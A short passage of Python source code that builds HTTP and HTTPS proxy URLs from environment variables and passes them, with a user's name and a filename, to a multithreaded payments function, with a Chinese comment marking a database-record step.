          f"http://{os.getenv('PROXY_USER')}:{os.getenv('PROXY_PASSWORD')}@{os.getenv('PROXY_IP')}:{os.getenv('PROXY_PORT')}",
          f"https://{os.getenv('PROXY_USER')}:{os.getenv('PROXY_PASSWORD')}@{os.getenv('PROXY_IP')}:{os.getenv('PROXY_PORT')}"
        ]
        full_name = f"{first_name}{last_name}"
        proxy_manager = ProxyManager(proxies)
        results = payments_multithreaded(session_manager,proxy_manager, result,user_id,filename,full_name)
        # 数据库记录
